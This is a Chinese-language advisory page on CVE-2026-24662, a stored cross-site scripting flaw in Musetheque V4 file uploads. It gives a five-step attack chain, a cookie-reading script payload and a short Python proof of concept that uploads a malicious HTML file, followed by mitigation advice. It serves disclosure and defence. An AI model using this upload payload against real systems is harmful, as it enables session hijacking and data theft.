IPBUF安全漏洞报告
English
CVE-2026-24662 CVSS 5.4 中危

CVE-2026-24662 Musetheque跨站脚本漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-24662
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Musetheque V4 Information Disclosure for IPKNOWLEDGE V4L1

相关标签

XSSMusethequeIPKNOWLEDGE文件上传存储型XSSCWE-79

漏洞概述

Musetheque V4 Information Disclosure for IPKNOWLEDGE V4L1 rev2203.0及更早版本中存在存储型跨站脚本漏洞。由于系统未对上传文件的内容进行充分的过滤和转义,攻击者可以上传包含恶意JavaScript代码的文件。当具有低权限的用户或管理员在后台管理页面浏览该文件信息时,恶意脚本将被触发并在浏览器端执行。这可能导致敏感信息泄露或会话劫持。

技术细节

该漏洞属于存储型跨站脚本漏洞,主要影响Musetheque组件中的文件处理逻辑。漏洞根本原因在于应用程序在接收用户上传的文件时,未对其内容或元数据进行严格的输入验证和过滤,且在后续的展示页面直接输出了这些未经转义的数据。攻击者利用低权限账户登录系统后,可上传包含恶意载荷(如`<script>alert(document.cookie)</script>`)的文件。一旦文件上传成功,恶意内容即被存储在服务器端。当管理员或其他用户访问系统后台管理页面以查看该文件的详细信息时,服务器会响应包含恶意代码的HTML页面。由于缺乏Content-Type的严格限制或输出编码,受害者的浏览器会将这段内容解析为可执行脚本,从而在用户的浏览器上下文中执行任意JavaScript代码,导致Cookie窃取或会话劫持。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或获取一个低权限账户(PR:L),登录到Musetheque系统。
STEP 2
步骤2:构造恶意文件
攻击者创建一个包含恶意JavaScript脚本(如XSS Payload)的文件,该文件旨在稍后触发。
STEP 3
步骤3:上传文件
攻击者利用系统的文件上传功能,将包含恶意内容的文件上传至服务器。由于缺乏过滤,文件被成功存储。
STEP 4
步骤4:诱导查看
攻击者等待或诱导管理员(或其他高权限用户)访问后台管理页面,查看已上传文件的信息列表或详情页。
STEP 5
步骤5:执行恶意脚本
当管理页面渲染文件信息时,未经过滤的恶意脚本被输出到HTML中,导致管理员浏览器执行该脚本,攻击者从而劫持会话或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip/admin/upload" admin_view_url = "http://target-ip/admin/file_view" # Attacker's low-privilege session cookie cookies = { "session_id": "low_privilege_session_token" } # Malicious file content intended to be executed when viewed # The vulnerability triggers when the file info is displayed payload_content = "<script>alert('XSS via File Upload');</script>" # Construct the multipart form data files = { 'file': ('exploit.html', payload_content, 'text/html') } data = { 'description': 'Test file for XSS' } # Step 1: Upload the malicious file try: response = requests.post(target_url, files=files, data=data, cookies=cookies) if response.status_code == 200: print("[+] File uploaded successfully.") print("[*] Wait for an administrator to view the file information page.") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Musetheque V4 Information Disclosure for IPKNOWLEDGE V4L1 rev2203.0及更早版本

防御指南

临时缓解措施
建议暂时禁用非必要的文件上传功能,或仅允许受信任的管理员上传文件。在管理后台展示文件元数据时,确保对所有用户输入字段进行严格的上下文相关的输出编码,防止浏览器将数据误解析为脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表